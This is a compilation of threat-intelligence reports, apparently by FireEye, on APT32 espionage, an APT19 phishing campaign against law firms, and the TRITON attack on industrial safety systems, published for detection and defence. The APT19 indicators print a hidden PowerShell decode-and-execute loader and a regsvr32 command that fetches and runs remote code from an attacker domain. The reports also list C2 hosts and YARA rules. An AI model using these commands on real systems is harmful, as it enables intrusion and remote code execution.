+APT32 Targeting of Private Sector Company Operations in Southeast Asia
+Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam
+manufacturing, consumer products, and hospitality sectors. Furthermore, there are indications that APT32 actors
+are targeting peripheral network security and technology infrastructure corporations, as well as consulting firms that
+may have connections with foreign investors.
+Here is an overview of intrusions investigated by FireEye that are attributed to APT32:
+In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.
+In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure,
+banking, and media industries were targeted.
+In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global
+hospitality industry developer with plans to expand operations into Vietnam.
+From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located
+inside Vietnam, were the target of APT32 intrusion operations.
+In 2017, APT32 compromised the Vietnamese offices of a global consulting firm.
+Table 1 shows a breakdown of APT32 activity, including the malware families used in each.
+Year
+Country
+Industry
+Malware
+1/11
+2014
+Vietnam
+Network Security
+WINDSHIELD
+2014
+Germany
+Manufacturing
+WINDSHIELD
+2015
+Vietnam
+Media
+WINDSHIELD
+2016
+Philippines
+Consumer products
+KOMPROGO
+WINDSHIELD
+SOUNDBITE
+BEACON
+2016
+Vietnam
+Banking
+WINDSHIELD
+2016
+Philippines
+Technology Infrastructure
+WINDSHIELD
+2016
+China
+Hospitality
+WINDSHIELD
+2016
+Vietnam
+Media
+WINDSHIELD
+2016
+United States
+Consumer Products
+WINDSHIELD
+PHOREAL
+BEACON
+SOUNDBITE
+2017
+United Kingdom
+Consulting
+SOUNDBITE
+Table 1: APT32 Private Sector Targeting Identified by FireEye
+APT32 Interest in Political Influence and Foreign Governments
+In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign
+governments, as well as Vietnamese dissidents and journalists since at least 2013. Here is an overview of this
+activity:
+A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents,
+and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations.
+In 2014, APT32 leveraged a spear-phishing attachment titled 
+Plans to crackdown on protesters at the
+Embassy of Vietnam.exe," which targeted dissident activity among the Vietnamese diaspora in Southeast
+Asia. Also in 2014, APT32 carried out an intrusion against a Western country
+s national legislature.
+In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report
+detailing threat actors that were targeting Chinese public and private entities including government agencies,
+research institutes, maritime agencies, sea construction, and shipping enterprises. The information included
+in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar
+targets as APT32.
+In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be
+unique to APT32.
+In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to
+target members of the Vietnam diaspora in Australia as well as government employees in the Philippines.
+APT32 Tactics
+In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice
+2/11
+the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from
+remote servers. APT32 actors continue to deliver the malicious attachments via spear-phishing emails.
+APT32 actors designed multilingual lure documents which were tailored to specific victims. Although the files had
+.doc
+ file extensions, the recovered phishing lures were ActiveMime 
+.mht
+ web page archives that contained text
+and images. These files were likely created by exporting Word documents into single file web pages.
+Table 2 contains a sample of recovered APT32 multilingual lure files.
+ActiveMime Lure Files
+2017
+.doc
+(2017 Statistical Report on Staff Salary and Allowances)
+5458a2e4d784abb1a1127263bd5006b5
+Thong tin.doc
+(Information)
+ce50e544430e7265a45fab5a1f31e529
+Phan Vu Tutn CV.doc
+4f761095ca51bfbbf4496a4964e41d4f
+Ke hoach cuu tro nam 2017.doc
+(2017 Bailout Plan)
+e9abe54162ba4572c770ab043f576784
+Instructions to GSIS.doc
+fba089444c769700e47c6b44c362f96b
+Hoi thao truyen thong doc lap.doc
+(Traditional Games)
+f6ee4b72d6d42d0c7be9172be2b817c1
+i th
+ng m
+i 2016 - h
+ng.doc
+(New 2016 Claim Form)
+aa1f85de3e4d33f31b4f78968b29f175
+Hoa don chi tiet tien no.doc
+(Debt Details)
+5180a8d9325a417f2d8066f9226a5154
+Thu moi tham du Hoi luan.doc
+(Collection of Participants)
+f6ee4b72d6d42d0c7be9172be2b817c1
+Danh sach nhan vien vi pham ky luat.doc
+(List of Employee Violations)
+6baafffa7bf960dec821b627f9653e44
+ -dung-qua
+ng-ca
+o.doc
+(Internal Content Advertising)
+471a2e7341f2614b715dc89e803ffcac
+ DVPM-VTC 31.03.17.doc
+f1af6bb36cdf3cff768faee7919f0733
+Table 2: Sampling of APT32 Lure Files
+The Base64 encoded ActiveMime data also contained an OLE file with malicious macros. When opened, many lure
+files displayed fake error messages in an attempt to trick users into launching the malicious macros. Figure 1 shows
+a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve
+the error. Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message
+instructing the recipient to enable content to properly display document font characters.
+3/11
+Figure 1: Example APT32 Phishing Lure 
+ Fake Gmail Error Message
+Figure 2: Example APT32 Phishing Lure 
+ Fake Text Encoding Error Message
+APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the
+distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors
+injected into memory.
+In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time,
+4/11
+APT32 used cloud-based email analytics software designed for sales organizations. In some instances, APT32
+abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their
+ActiveMime lures hosted externally on legitimate cloud storage services.
+To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page
+functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure.
+Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32.
+Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking
+When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if
+macros were disabled. In all phishing lures analyzed, the external images did not exist. Mandiant consultants
+suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When
+combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and
+conduct further analysis about victim organizations while monitoring the interest of security firms.
+Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as
+persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an
+application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first
+backdoor from APT32
+s infrastructure and injected it into memory. The second named scheduled task, loaded as an
+XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor,
+delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific
+backdoor and the other scheduled task initialized a commercially-available backdoor as backup.
+To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered
+APT32 lure 
+2017
+.doc
+Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks
+In this example, a scheduled task named 
+Windows Scheduled Maintenance
+ was created to run Casey Smith
+Squiblydoo
+ App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time
+of delivery, this task launched a COM scriptlet (
+.sct
+ file extension) that downloaded and executed Meterpreter
+hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate
+with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second
+scheduled task named 
+Scheduled Defrags
+ was created by loading the raw task XML with a backdated task
+creation timestamp of June 2, 2016. This second task ran 
+mshta.exe
+ every 50 minutes which launched an APT32specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains
+5/11
+blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net.
+Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multistage malware frameworks into memory.
+6/11
+Figure 5: APT32 Phishing Chain of Events
+The impressive APT32 operations did not stop after they established a foothold in victim environments. Several
+Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and
+heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon
+s Invoke-Obfuscation
+framework.
+APT32 regularly used stealthy techniques to blend in with legitimate user activity:
+During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255)
+masquerading as a Windows hotfix.
+In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a
+software deployment task in which all systems pulled the payload from the ePO server using the proprietary
+SPIPE protocol.
+APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system.
+For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a
+Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL
+filename padded with a non-printing OS command control code.
+APT32 Malware and Infrastructure
+APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning
+multiple protocols. APT32 operations are characterized through deployment of signature malware payloads
+including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL. APT32 often deploys these backdoors along
+with the commercially-available Cobalt Strike BEACON backdoor. APT32 may also possess backdoor development
+capabilities for macOS.
+The capabilities for this unique suite of malware is shown in Table 3.
+Malware
+Capabilities
+7/11
+WINDSHIELD
+Command and control (C2) communications via TCP raw sockets
+Four configured C2s and six configured ports 
+ randomly-chosen C2/port for
+communications
+Registry manipulation
+Get the current module's file name
+Gather system information including registry values, user name, computer name,
+and current code page
+File system interaction including directory creation, file deletion, reading, and writing
+files
+Load additional modules and execute code
+Terminate processes
+Anti-disassembly
+KOMPROGO
+Fully-featured backdoor capable of process, file, and registry management
+Creating a reverse shell
+File transfers
+Running WMI queries
+Retrieving information about the infected system
+SOUNDBITE
+C2 communications via DNS
+Process creation
+File upload
+Shell command execution
+File and directory enumeration/manipulation
+Window enumeration
+Registry manipulation
+System information gathering
+PHOREAL
+C2 communications via ICMP
+Reverse shell creation
+Filesystem manipulation
+Registry manipulation
+Process creation
+File upload
+8/11
+BEACON (Cobalt
+Strike)
+Publicly available payload that can inject and execute arbitrary code into processes
+Impersonating the security context of users
+Importing Kerberos tickets
+Uploading and downloading files
+Executing shell commands
+Configured with malleable C2 profiles to blend in with normal network traffic
+Co-deployment and interoperability with Metasploit framework
+SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and
+pivoting over SMB
+Table 3: APT32 Malware and Capabilities
+APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses
+as command and control infrastructure. The FireEye iSIGHT Intelligence MySIGHT Portal contains additional
+information on these backdoor families based on Mandiant investigations of APT32 intrusions.
+Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle.
+Figure 6: APT32 Attack Lifecycle
+Outlook and Implications
+Based on incident response investigations, product detections, and intelligence observations along with additional
+publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with
+Vietnamese government interests. The targeting of private sector interests by APT32 is notable and FireEye
+believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country. While
+the motivation for each APT32 private sector compromise varied 
+ and in some cases was unknown 
+ the
+unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption
+measures that could ultimately erode the competitive advantage of targeted organizations. Furthermore, APT32
+continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide.
+Governments, journalists, and members of the Vietnam diaspora may continue to be targeted.
+9/11
+While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and
+responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability.
+APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the
+flexibility to embrace newly-available tools and techniques. As more countries utilize inexpensive and efficient cyber
+operations, there is a need for public awareness of these threats and renewed dialogue around emerging nationstate intrusions that go beyond public sector and intelligence targets.
+APT32 Detection
+Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32
+s phishing lures:
+Figure 7: Yara Rule for APT32 Malicious Macros
+Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2.
+C2 Infrastructure
+103.53.197.202
+104.237.218.70
+104.237.218.72
+185.157.79.3
+193.169.245.78
+193.169.245.137
+23.227.196.210
+24.datatimes.org
+80.255.3.87
+blog.docksugs.org
+blog.panggin.org
+contay.deaftone.com
+check.paidprefund.org
+datatimes.org
+docksugs.org
+economy.bloghop.org
+emp.gapte.name
+facebook-cdn.net
+gap-facebook.com
+gl-appspot.org
+help.checkonl.org
+high.expbas.net
+high.vphelp.net
+icon.torrentart.com
+10/11
+images.chinabytes.info
+imaps.qki6.com
+img.fanspeed.net
+job.supperpow.com
+lighpress.info
+menmin.strezf.com
+mobile.pagmobiles.info
+news.lighpress.info
+notificeva.com
+nsquery.net
+pagmobiles.info
+paidprefund.org
+push.relasign.org
+relasign.org
+share.codehao.net
+seri.volveri.net
+ssl.zin0.com
+static.jg7.org
+syn.timeizu.net
+teriava.com
+timeizu.net
+tonholding.com
+tulationeva.com
+untitled.po9z.com
+update-flashs.com
+vieweva.com
+volveri.net
+vphelp.net
+yii.yiihao126.net
+zone.apize.net
+Table 4: Sampling of APT32 C2 Infrastructure
+11/11
+Privileges and Credentials: Phished at the Request of
+Counsel
+fireeye.com /blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
+Summary
+In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment
+firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with
+some degree of sponsorship by the Chinese government.
+APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged
+RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of
+May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions,
+APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure
+delivered a Cobalt Strike payload.
+As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we
+cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment
+firms for competitive economic purposes.
+This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide
+technical indicators that their IT personnel can use for proactive hunting and detection.
+The Emails
+APT19 phishing emails from this campaign originated from sender email accounts from the "@cloudsend[.]net"
+domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for
+more details.
+The Attachments
+APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial
+exploits. The following sections describe the two methods in further detail.
+RTF Attachments
+Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF
+attachments download hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. Unfortunately, this file was no longer hosted
+at tk-in-f156.2bunny[.]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF
+files reaching out to hxxp://tk-in-f156.2bunny[.]com/Agreement.doc.
+1/14
+Figure 1: RTF PCAP
+XLSM Attachments
+The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The
+attachments also contained an image that requested the user to 
+Enable Content
+, which would enable macro
+support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files
+(MD5:30f149479c02b741e897cdb9ecd22da7).
+Figure 2: Enable macros
+One of the malicious XLSM attachments that we observed contained a macro that:
+1. Determined the system architecture to select the correct path for PowerShell
+2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique
+used by Meterpreter stagers.
+Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6).
+2/14
+3/14
+Figure 3: XLSX Macro
+Figure 4 contains the decoded output of the encoded text.
+Figure 4: Decoded ZLIB + Base64 payload
+4/14
+The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of
+autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is
+executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with
+minimal HTTP headers.
+Figure 5: GET Request with minimal HTTP headers
+Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out
+network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs.
+Figure 6: Decoded shellcode
+FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7.
+Figure 7: Alternate macro
+This macro uses Casey Smith
+Squiblydoo
+ Application Whitelisting bypass technique to run the command in
+Figure 8.
+Figure 8: Application Whitelisting Bypass
+5/14
+The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5:
+1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9.
+Figure 9: SCT contents
+Figure 10 provides the decoded script. Notice the 
+$DoIt
+ string, which is usually indicative of a Cobalt Strike
+payload.
+6/14
+7/14
+Figure 10: Decoded SCT contents
+A quick conversion of the contents of the variable 
+$var_code
+ from Base64 to ASCII shows some familiar network
+indicators, shown in Figure 11.
+Figure 11: $var_code to ASCII
+Second Stage Payload
+Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload,
+configured with the following parameters:
+Process Inject Targets:
+%windir%\syswow64\rundll32.exe
+%windir%\sysnative\rundll32.exe
+c2_user_agents
+Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts;
+IE0006_ver1;EN_GB)
+Named Pipes
+\\%s\pipe\msagent_%x
+beacon_interval
+autodiscover.2bunny[.]com/submit.php
+autodiscover.2bunny[.]com/IE9CompatViewList.xml
+sfo02s01-in-f2.cloudsend[.]net/submit.php
+sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
+C2 Port
+TCP/80
+Figure 12 depicts an example of a BEACON C2 attempt from this payload.
+8/14
+Figure 12: Cobalt Strike BEACON C2
+FireEye Product Detections
+The following FireEye products currently detect and block the methods described above. Table 1 lists the current
+detection and blocking capabilities by product.
+Detection Name
+Product
+Action
+Notes
+SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
+Detect
+XSLM Macro launch
+Gen:Variant.Application.HackTool.CobaltStrike.1
+Detect
+XSLM Macro launch
+Malware Object
+Detect
+BEACON written to disk
+Backdoor.BEACON
+Block*
+BEACON Callback
+FE_Malformed_RTF
+EX/ETP/NX
+Block*
+Malware.Binary.rtf
+EX/ETP/NX
+Block*
+Malware.Binary
+EX/ETP/NX
+Block*
+Malware.Binary.xlsx
+EX/ETP/NX
+Block*
+XSLM
+Table 1: Detection review
+*Appliances must be configured for block mode.
+Recommendations
+FireEye recommends organizations perform the following steps to mitigate the risk of this campaign:
+1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already
+installed it.
+2. Search historic and future emails that match the included indicators of compromise.
+3. Review web proxy logs for connections to the included network based indicators of compromise.
+4. Block connections to the included fully qualified domain names.
+5. Review endpoints for the included host based indicators of compromise.
+Indicators of Compromise
+The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye
+9/14
+has observed during this campaign.
+Email Senders
+PressReader <infodept@cloudsend[.]net>
+Angela Suh <angela.suh@cloudsend[.]net>
+Ashley Safronoff <ashley.safronoff@cloudsend[.]net>
+Lindsey Hersh <lindsey.hersh@cloudsend[.]net>
+Sarah Roberto sarah.roberto@cloudsend[.]net
+noreply@cloudsend[.]net
+Email Subject Lines
+Macron Denies Authenticity Of Leak, French Prosecutors Open Probe
+Macron Document Leaker Releases New Images, Promises More Information
+Are Emmanuel Macron's Tax Evasion Documents Real?
+Time Allocation
+Vacancy Report
+china paper table and graph
+results with zeros 
+ some ready not all finished
+Macron Leaks contain secret plans for the islamisation of France and Europe
+Attachment Names
+Macron_Authenticity.doc.rtf
+Macron_Information.doc.rtf
+US and EU Trade with China and China CA.xlsm
+Tables 4 5 7 Appendix with zeros.xlsm
+Project Codes - 05.30.17.xlsm
+Weekly Vacancy Status Report 5-30-15.xlsm
+Macron_Tax_Evasion.doc.rtf
+Macron_secret_plans.doc.rtf
+Network Based Indicators (NBI)
+lyncdiscover.2bunny[.]com
+autodiscover.2bunny[.]com
+lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/
+lyncdiscover.2bunny[.]com/Autodiscover
+10/14
+autodiscover.2bunny[.]com/K5om
+sfo02s01-in-f2.cloudsend[.]net/submit.php
+sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
+tk-in-f156.2bunny[.]com
+tk-in-f156.2bunny[.]com/Agreement.doc
+104.236.77[.]169
+138.68.45[.]9
+162.243.143[.]145
+Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
+tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW)
+Host Based Indicators (HBI)
+RTF MD5 hash values
+0bef39d0e10b1edfe77617f494d733a8
+0e6da59f10e1c4685bb5b35a30fc8fb6
+cebd0e9e05749665d893e78c452607e2
+XLSX MD5 hash values
+38125a991efc6ab02f7134db0ebe21b6
+3a1dca21bfe72368f2dd46eb4d9b48c4
+30f149479c02b741e897cdb9ecd22da7
+BEACON and Meterpreter payload MD5 hash values
+bae0b39197a1ac9e24bdf9a9483b18ea
+1151619d06a461456b310096db6bc548
+Process arguments, named pipes, and file paths
+powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader
+($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
+(,$([Convert]::FromBase64String("<base64 blob>")
+regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
+\\<ip>\pipe\msagent_<4 digits>
+C:\Documents and Settings\<user>\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original
+GET request)
+Yara Rules
+11/14
+rule FE_LEGALSTRIKE_MACRO {
+meta:version=".1"
+filetype="MACRO"
+author="Ian.Ahl@fireeye.com @TekDefense"
+date="2017-06-02"
+description="This rule is designed to identify macros with the specific encoding used in the sample
+30f149479c02b741e897cdb9ecd22da7."
+strings:
+// OBSFUCATION
+$ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) &
+ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
+$ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) &
+ChrW(110) & ChrW(32) & ChrW(47)" ascii wide
+$ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) &
+ChrW(116) & ChrW(112) & ChrW(115)" ascii wide
+$ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) &
+ChrW(100) & ChrW(105) & ChrW(115)" ascii wide
+$ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) &
+ChrW(98) & ChrW(117) & ChrW(110)" ascii wide
+$ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) &
+ChrW(65) & ChrW(117) & ChrW(116)" ascii wide
+$ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) &
+ChrW(101) & ChrW(114) & ChrW(32)" ascii wide
+$ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) &
+ChrW(100) & ChrW(108) & ChrW(108)" ascii wide
+$obreg1 = /(\w{5}\s&\s){7}\w{5}/
+$obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/
+// wscript
+$wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
+$wsobj2 = "Obj.Run " ascii wide
+condition:
+(uint16(0) != 0x5A4D)
+all of ($wsobj*) and 3 of ($ob*)
+all of ($wsobj*) and all of ($obreg*)
+12/14
+rule FE_LEGALSTRIKE_MACRO_2 {
+meta:version=".1"
+filetype="MACRO"
+author="Ian.Ahl@fireeye.com @TekDefense"
+date="2017-06-02"
+description="This rule was written to hit on specific variables and powershell command fragments as seen in
+the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4."
+strings:
+// Setting the environment
+$env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide
+$env2 = "windir = Environ(\"windir\")" ascii wide
+$env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide
+// powershell command fragments
+$ps1 = "-NoP" ascii wide
+$ps2 = "-NonI" ascii wide
+$ps3 = "-W Hidden" ascii wide
+$ps4 = "-Command" ascii wide
+$ps5 = "New-Object IO.StreamReader" ascii wide
+$ps6 = "IO.Compression.DeflateStream" ascii wide
+$ps7 = "IO.MemoryStream" ascii wide
+$ps8 = ",$([Convert]::FromBase64String" ascii wide
+$ps9 = "ReadToEnd();" ascii wide
+$psregex1 = /\W\w+\s+\s\".+\"/
+condition:
+(uint16(0) != 0x5A4D)
+all of ($env*) and 6 of ($ps*)
+all of ($env*) and 4 of ($ps*) and all of ($psregex*)
+13/14
+rule FE_LEGALSTRIKE_RTF {
+meta:
+version=".1"
+filetype="MACRO"
+author="joshua.kim@FireEye.com"
+date="2017-06-02"
+description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain
+2bunnyDOTcom"
+strings:
+$header = "{\\rt"
+$lnkinfo = "4c0069006e006b0049006e0066006f"
+$encoded1 = "4f4c45324c696e6b"
+$encoded2 = "52006f006f007400200045006e007400720079"
+$encoded3 = "4f0062006a0049006e0066006f"
+$encoded4 = "4f006c0065"
+$http1 = "68{"
+$http2 = "74{"
+$http3 = "07{"
+// 2bunny.com
+$domain1 = "32{\\"
+$domain2 = "62{\\"
+$domain3 = "75{\\"
+$domain4 = "6e{\\"
+$domain5 = "79{\\"
+$domain6 = "2e{\\"
+$domain7 = "63{\\"
+$domain8 = "6f{\\"
+$domain9 = "6d{\\"
+$datastore = "\\*\\datastore"
+condition:
+$header at 0 and all of them
+Acknowledgements
+Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco,
+Christopher Glyer
+14/14
+Attackers Deploy New ICS Attack Framework 
+TRITON
+and Cause Operational Disruption to Critical Infrastructure
+www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
+Introduction
+Mandiant recently responded to an incident at a critical infrastructure organization where an
+attacker deployed malware designed to manipulate industrial safety systems. The targeted
+systems provided emergency shutdown capability for industrial processes. We assess with
+moderate confidence that the attacker was developing the capability to cause physical damage
+and inadvertently shutdown operations. This malware, which we call TRITON, is an attack
+framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We
+have not attributed the incident to a threat actor, though we believe the activity is consistent
+with a nation state preparing for an attack.
+TRITON is one of a limited number of publicly identified malicious software families targeted at
+industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and
+Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.
+TRITON is consistent with these attacks, in that it could prevent safety mechanisms from
+executing their intended function, resulting in a physical consequence.
+Malware
+Family
+Main
+Modules
+Description
+TRITON
+trilog.exe
+Main executable leveraging libraries.zip
+library.zip
+Custom communication library for interaction with Triconex
+controllers.
+Table 1: Description of TRITON Malware
+Incident Summary
+The attacker gained remote access to an SIS engineering workstation and deployed the
+TRITON attack framework to reprogram the SIS controllers. During the incident, some SIS
+controllers entered a failed safe state, which automatically shutdown the industrial process and
+prompted the asset owner to initiate an investigation. The investigation found that the SIS
+controllers initiated a safe shutdown when application code between redundant processing
+units failed a validation check -- resulting in an MP diagnostic failure message.
+We assess with moderate confidence that the attacker inadvertently shutdown operations while
+developing the ability to cause physical damage for the following reasons:
+1/10
+Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of
+a failure that would result in physical consequences.
+TRITON was used to modify application memory on SIS controllers in the environment,
+which could have led to a failed validation check.
+The failure occurred during the time period when TRITON was used.
+It is not likely that existing or external conditions, in isolation, caused a fault during the
+time of the incident.
+Attribution
+FireEye has not connected this activity to any actor we currently track; however, we assess
+with moderate confidence that the actor is sponsored by a nation state. The targeting of critical
+infrastructure as well as the attacker
+s persistence, lack of any clear monetary goal and the
+technical resources necessary to create the attack framework suggest a well-resourced nation
+state actor. Specifically, the following facts support this assessment:
+The attacker targeted the SIS suggesting an interest in causing a high-impact attack with
+physical consequences. This is an attack objective not typically seen from cyber-crime groups.
+The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that
+they had pre-built and tested the tool which would require access to hardware and software
+that is not widely available. TRITON is also designed to communicate using the proprietary
+TriStation protocol which is not publicly documented suggesting the adversary independently
+reverse engineered this protocol.
+The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with
+numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North
+Korean, U.S., and Israeli nation state actors. Intrusions of this nature do not necessarily
+indicate an immediate intent to disrupt targeted systems, and may be preparation for a
+contingency.
+Background on Process Control and Safety Instrumented Systems
+2/10
+Figure 1: ICS Reference Architecture
+Modern industrial process control and automation systems rely on a variety of sophisticated
+control systems and safety functions. These systems and functions are often referred to as
+Industrial Control Systems (ICS) or Operational Technology (OT).
+A Distributed Control System (DCS) provides human operators with the ability to remotely
+monitor and control an industrial process. It is a computerized control system consisting of
+computers, software applications and controllers. An Engineering Workstation is a computer
+used for configuration, maintenance and diagnostics of the control system applications and
+other control system equipment.
+A SIS is an autonomous control system that independently monitors the status of the process
+under control. If the process exceeds the parameters that define a hazardous state, the SIS
+attempts to bring the process back into a safe state or automatically performs a safe shutdown
+of the process. If the SIS and DCS controls fail, the final line of defense is the design of the
+industrial facility, which includes mechanical protections on equipment (e.g. rupture discs),
+physical alarms, emergency response procedures and other mechanisms to mitigate
+3/10
+dangerous situations.
+Asset owners employ varied approaches to interface their plant's DCS with the SIS. The
+traditional approach relies on the principles of segregation for both communication
+infrastructures and control strategies. For at least the past decade, there has been a trend
+towards integrating DCS and SIS designs for various reasons including lower cost, ease of
+use, and benefits achieved from exchanging information between the DCS and SIS. We
+believe TRITON acutely demonstrates the risk associated with integrated designs that allow bidirectional communication between DCS and SIS network hosts.
